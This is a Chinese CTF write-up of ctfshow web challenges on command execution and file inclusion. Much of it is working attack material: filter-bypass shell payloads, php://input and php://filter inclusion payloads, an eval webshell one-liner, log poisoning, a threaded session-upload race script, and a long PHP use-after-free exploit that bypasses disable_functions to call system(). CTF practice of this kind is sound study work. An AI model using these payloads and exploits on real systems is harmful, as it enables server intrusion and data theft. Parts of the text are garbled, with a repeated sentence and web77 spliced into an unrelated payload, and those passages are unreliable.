CTFSHOW web入门 命令执行+文件包含+PHP特性
刷题时间记录表
ID | 开始时间 | 结束时间 | 刷题范围 |
---|---|---|---|
1 | 2021.08.23 19:20 | 2021.08.23 21.30 | web41-45 |
2 | 2021.08.24 22:16 | 2021.08.25 0:04 | web46-54 |
3 | 2021.08.25 17:06(上班划水) | 2021.08.25 18:00 | web55-web58 |
4 | 2021.08.25 20:26 | 2021.08.25 22:39 | web59-web72 |
5 | 2021.08.26 22:20 | 2021.08.26 23:25 | web72-web77 web118-119 |
6 | 2021.08.30 20:21 | 2021.08.30 22:52 | web120-122web124 |
7 | 2021.08.31 22:35 | 2021.08.31 | web78-web80 |
8 | 2021.09.01 21:12 | 2021.09.02 0:05 | web81-web87 |
9 | 2021.09.02 20:42 | 2021.09.02 22:26 | web88-90,web116-117 |
ID | 开始时间 | 结束时间 | 刷题范围 |
---|---|---|---|
10 | 2021.09.05 12:20 | 2021.09.05 12:40 | web91-web94 |
11 | 2021.09.07 13:57 | 2021.09.07 18:30 | web95-web100 |
12 | 2021.09.14 18:10 | 2021.09.14 18:30 | web100 |
13 | 2021.09.15 14:00 | 2021.09.15 18:30 | web101-web115 |
14 | 2021.09.16 10:32 | 2021.09.16 18:30 | web123-web136 |
15 | 2021.09.22 15:43 | 2021.09.22 16:00 | web137 |
16 | 2021.09.23 14:30 | 2021.09.23 16:00 | web138-web140 |
17 | 2021.09.24 8:53 | 2021.09.24 9:00 | web141 |
18 | 2021.09.29 16:55 | 2021.09.29 17:00 | web142 |
ID | 开始时间 | 结束时间 | 刷题范围 |
---|---|---|---|
19 | 2021.09.30 19:06 | 2021.09.30 19:07 | web143 |
20 | 2021.10.07 23:13 | 2021.10.08 0:27 | web144-web150plus |
信息搜集
略
命令执行
web41
- 代码
<?php/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show*/if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}
?>
考点
通过或运算,来将两个字符拼接为字母,进行命令执行,比如url编码过后的(40%|01%),运算结果为A,进而进行命令执行
解题脚本
<?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}} } fwrite($myfile,$contents); fclose($myfile);
# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #没有将php写入环境变量需手动运行 if(len(argv)!=2):print("="*50)print('USER:python exp.py <url>')print("eg: python exp.py http://ctf.show/")print("="*50)exit(0) url=argv[1] def action(arg):s1=""s2=""for i in arg:f=open("rce_or.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))data={'c':urllib.parse.unquote(param)}r=requests.post(url,data=data)print("\n[*] result:\n"+r.text)
web42
代码
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 20:51:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1"); }else{highlight_file(__FILE__);
考点
群主说的是,>/dev/null是个黑洞,前面执行的命令的结果会写入黑洞里,就没办法回显,2>&1是绑定输出,一共有三种文件描述符,标准输入3、标准输出1、错误输出2,这里就是将错误输出绑定到标准输出 ,也就是这个环境无论执行什么命令都不会输出,但是这个可以用;绕过,这样就执行的命令就不属于这个命令了,可以输出
此外还学到了一点,比如正常的payload可以是?c=cat flag;这个时候需要查看源代码才能看到,但是用tac就可以直接看到,因为tac是反着读,会破坏php的注释,学到了嘿嘿
web 43
代码
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:32:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");} }else{highlight_file(__FILE__); }
同上题一样,这次过滤了;群主说是用&&绕过
?c=tac flag.php%26%26ls
,但是突然想到,其实那个限制只是回显,可以把文件复制一下,然后直接访问复制的文件就可以拿到flag,比如?c= mv flag.php 1.txt
然后直接访问1.txt就能直接拿到flag
web44
代码
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:32:01 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");} }else{highlight_file(__FILE__); }
过滤了flag,这个直接通配符*或者占位符?就可以绕过
?c=tac f*.php%26%26ls
web45
代码
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:35:34 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");} }else{highlight_file(__FILE__); }
过滤了空格,用制表符绕过``
web46
代码
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:50:19 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");} }else{highlight_file(__FILE__); }
这次又多过滤了数字,以及通配符*,但是那个编码过后的制表符%09解码后不是数字,所以没有影响,过滤了*可以用?代替,?只能占一位,*是任意位
?c=tac%09fla?.php%26%26lls
此处题目的hint交了新的方法,用nl命令将指定的文件添加行号标注后写到标准输出,也就是还可以这样绕过?c=nl<fla’'g.php||
web47
代码
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:59:23 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){system($c." >/dev/null 2>&1");} }else{highlight_file(__FILE__); }
过滤了更多的读取命令,没有过滤tac,不影响
web48
代码
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:06:20 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){system($c." >/dev/null 2>&1");} }else{highlight_file(__FILE__); }
过滤了更多的命令不影响
web49
代码
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:22:43 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");} }else{highlight_file(__FILE__); }
过滤更多不影响
web50
代码
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:32:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");} }else{highlight_file(__FILE__); }
过滤了%09与%26,之前的nl命令还可以搞
web51
代码
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:42:52 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");} }else{highlight_file(__FILE__); }
继续用之前payload
web52
代码
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:50:30 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){system($c." >/dev/null 2>&1");} }else{highlight_file(__FILE__); }
这里没有被过滤,然后之前的payload发现假的flag,然后用没有被过滤,然后之前的payload发现假的flag,然后用没有被过滤,然后之前的payload发现假的flag,然后用{IFS}作为分隔符,读取根目录的flag
nl$IFS/fla''g||
web53
代码
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 18:21:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){echo($c);$d = system($c);echo "<br>".$d;}else{echo 'no';} }else{highlight_file(__FILE__); }
有了回显,但是执行方式和之前不一样了,payload:
?c=ta''c${IFS}fla?.php
web54
代码
<?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 19:43:42 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);} }else{highlight_file(__FILE__); }
代码过滤了很多,hint非常狠,全用通配符搞
?c=/bin/?at${IFS}f???????
,除了这个直接复制就行
web55
代码
<?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 20:03:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/// 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);} }else{highlight_file(__FILE__); }
这次更狠一些
?c=/???/????64 ????.???
,就是利用通配符,匹配到这样的命令/bin/base64 flag.php
web56
代码
<?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/// 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);} }else{highlight_file(__FILE__); }
题目更狠了一点
这次在上一题的基础上多过滤掉了数字,导致我们无法使用上题的payload。这里我们可以利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用
?
进行匹配,即???/?????????
,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?
在ascii码表中观察发现在大写字母A的前一个符号为@
,大写字母Z的后一个字母为[
,因此我们可以使用[@-[]
来表示匹配大写字母,也就是变成了这样的形式:???/????????[@-[]
,到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file
来执行文件解题脚本
import requests while True:url = "http://80ce7c79-ce3b-409b-89bd-6be7043fb4a6.challenge.ctf.show:8080/?c=. /???/????????[@-[]"r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")})flag = r.text.split('ctfshow')if len(flag) >1:print(r.text)break
web57
代码
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-08 01:02:56 # @email: h1xa@ctfer.com # @link: https://ctfer.com */// 还能炫的动吗? //flag in 36.php if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");} }else{highlight_file(__FILE__); }
这题不仅过滤了字母数字,还把通配符都给过滤了。查了一下资料,发现在shell中可以利用
$
和()
进行构造数字,而这道题提示flag在36.php中,system中已经写好cat和php,所以我们只需要构造出36即可$(())
代表做一次运算,因为里面为空,也表示值为0
$((~$(())))
对0作取反运算,值为-1
$(($((~$(())))$((~$(())))))
-1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))
再对-2做一次取反得到1,所以值为1如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
所以我们只要构造出-37,再进行取反,即可得到我们想要的数字36
data = "$((~$(("+"$((~$(())))"*37+"))))" print(data)
web58
代码
<?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/// 你们在炫技吗? if(isset($_POST['c'])){$c= $_POST['c'];eval($c); }else{highlight_file(__FILE__); }
第一反应,蚁剑
看了hint,是考读取文件的,
c=show_source("flag.php");
//一些命令 highlight_file($filename); show_source($filename); print_r(php_strip_whitespace($filename)); print_r(file_get_contents($filename)); readfile($filename); print_r(file($filename)); // var_dump fread(fopen($filename,"r"), $size); include($filename); // 非php代码 include_once($filename); // 非php代码 require($filename); // 非php代码 require_once($filename); // 非php代码 print_r(fread(popen("cat flag", "r"), $size)); print_r(fgets(fopen($filename, "r"))); // 读取一行 fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF print_r(fgetcsv(fopen($filename,"r"), $size)); print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记 print_r(fscanf(fopen("flag", "r"),"%s")); print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
web59-65
代码
if(isset($_POST['c'])){$c= $_POST['c'];eval($c); }else{highlight_file(__FILE__); }
代码都是一样的,其中应该是逐渐过滤掉了上面所列的一些函数,用show_source都可以看
c=show_source("flag.php");
群主用过的方法
c=include('flag.php');echo $flag
c=include('flag.php');var_dump(get_defined_vars());
web66
代码
<?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/// 你们在炫技吗? if(isset($_POST['c'])){$c= $_POST['c'];eval($c); }else{highlight_file(__FILE__); }
看起来还是没变,这次把show_source禁了,用highlight_file,发现假的flag,群主用的命令
c=var_dump(scandir(''));
找到了根目录有个flag.txt,然后直接c=highlight_file("/flag.txt");
web67
- 代码一样
- 上题payload可用,这次是print_r被禁了,var_dump可以用
web68-70
- 代码一样
- highlight_file被禁了,index.php都进不去了哈哈哈
- 用include,
c=include('/flag.php');
web71
代码
<?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{highlight_file(__FILE__); }?>你要上天吗?
这个是把输出缓冲区给替换掉了,群主的方法直接执行exit(),
c=include('/flag.txt');exit();
web72
代码同上
把scandir以某种方式限制了
用glob协议查找根目录中的文件
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
抄一些方法
print_r(glob("*")); // 列当前目录 print_r(glob("/*")); // 列根目录 print_r(scandir(".")); print_r(scandir("/")); $d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";} $d=dir(".");while(false!==($f=$d->read())){echo$f."\n";} $a=glob("/*");foreach($a as $value){echo $value." ";} $a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
群主给的exp
c=function ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit(); }ctfshow("cat /flag0.txt");ob_end_flush();
web 73-74
- 代码一样
- 像上题一样直接用glob协议看下根目录的内容,发现flag的位置,
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
发现在flagc.txt,和flagx.txt直接include包含c=include("/flagc.txt");exit(0);
web 75-76
- 代码一样
- glob扫目录,发现flag36.txt,用include发现了open_basedir,这里群主使用mysql读取了falg
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();**exit**(0);}**exit**(0);
web77
- 代码一样
- glob扫目录,发现flag36x.txt,以及有一个readflag
- 这里利用了php7.4的新特性,payload如下
- $ffi = FFI::cdef(“int system(const char *command);”);//创建一个system对象 $a=’/readflag > 1.txt’;//没有回显的 ffi−>system(ffi->system(ffi−>system(a);//通过$ffi去调用system函数
c=?><?php ?>
- 然后payload就是
?file=/var/log/nginx/access.log
同时post1=system('tac fl0g.php')
,先ls看下目录,然后再知道是fl0g.php的
文件包含
web78
PHP
if(isset($_GET['file'])){$file = $_GET['file'];include($file);
}else{highlight_file(__FILE__);
}
开始文件包含的题型了,这里使用php伪协议php://filter来构造paylaod
首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
payload如下
CODE
?file=php://filter/convert.base64-encode/resource=flag.php
读取出来是base64,再拿去进行base64解码即可得到flag
web79
PHP
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file);
}
代码中把php替换成了???
,php伪协议大小写可以绕过,所以我们这里使用php://input伪协议,paylaod如下
CODE
?file=Php://inputpost:<?php system("tac flag.php");?>
PHP
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);include($file);
}
这次多过滤了一个data,可以继续使用上题php:input协议,不过注意这次文件名字改了
所以payload为
CODE
?file=Php://inputpost:<?php system("tac fl0g.php");?>
web81
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);include($file); }else{highlight_file(__FILE__); }
这次把:过滤了,不过不影响我们继续用上一题的日志包含
这次学到了<?=eval($_POST[a]);?> <?=>相当于<?php echo ?>
web82
<?php if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file); }else{highlight_file(__FILE__); }
把.过滤了,那么日志包含的access.log用不了了
用只能用session包含
下面是php5.4之后php.ini开始有的几个默认选项
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name
将表示为session中的键名
第五个表示我们对Cookie中sessionID可控写个脚本
import io import requests import threading url = 'http://66a0ff8a-5ebd-4a08-835f-6df122b9f4eb.challenge.ctf.show:8080/'def write(session):data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>hehei'}while True:f = io.BytesIO(b'a' * 1024 * 10)response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('exp.txt', f)}) def read(session):while True:response = session.get(url+'?file=/tmp/sess_flag')if 'hehei' in response.text:print(response.text)breakelse:print('retry')if __name__ == '__main__':session = requests.session()write = threading.Thread(target=write, args=(session,))write.daemon = Truewrite.start()read(session)
web83
session_unset(); session_destroy();if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file); }else{highlight_file(__FILE__); }
这里先把session销毁了,但是还可以写,因为销毁和写存在时间的上的间隔,可能一个线程刚删完以为删掉了,但是另外一个线程在这个空隙又写了一个,所以上题的payload还是可以用
web84
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);system("rm -rf /tmp/*");include($file); }else{highlight_file(__FILE__); }
这次把tmp删了,还是和上一题一样,多线程竞争
web85
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);if(file_exists($file)){$content = file_get_contents($file);if(strpos($content, "<")>0){die("error");}include($file);}}else{highlight_file(__FILE__);
这次如果file里面含有<,就会die,这个需要线程多一点,这样好竞争,同样payload
web86
define('还要秀?', dirname(__FILE__)); set_include_path(还要秀?); if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);}else{highlight_file(__FILE__); }
这次是先定义了一个include路径,但是我们include的东西不被这个影响,继续用上面payload
web87
if(isset($_GET['file'])){$file = $_GET['file'];$content = $_POST['content'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);}else{highlight_file(__FILE__); }
题目这里,先是GET传入了一个file,然后POST传入了content,然后把<?php die('大佬别秀了');?>与content写入了file
思路就是file里用filter然后写一个php文件,而且要经过一定的处理,使得<?php die('大佬别秀了');?>无法被解析,然后content传入相应的处理过后的
CTFSHOW web入门 命令执行+文件包含+PHP特性相关推荐
- ctfshow web入门 命令执行 web29~web77 web118~web124
目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...
- ctfshow web入门 命令执行:55-57
刷题记录. 目录 web55 web56 web57 web55 关键源码: // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match ...
- ctfshow web入门 78-88的文件包含
1. web78 PHP伪协议读取 ?file=php://filter/convert.base64-encode/resource=flag.php 2. web79 ?file=data://t ...
- CTF Web入门 命令执行 笔记
CTF Web入门 命令执行 eval(读取命令),但各种字符被ban if(!pregmatch("...",$c)) #指过滤了...eval($c); 这时候可以尝试 ?c= ...
- ctfhsow web入门 命令执行大全
目录 web-29 web-30 web-31 web-32 web33-36 web-37 web-38 web-39 web-40 web-41 web-42 web-43 web-44 web4 ...
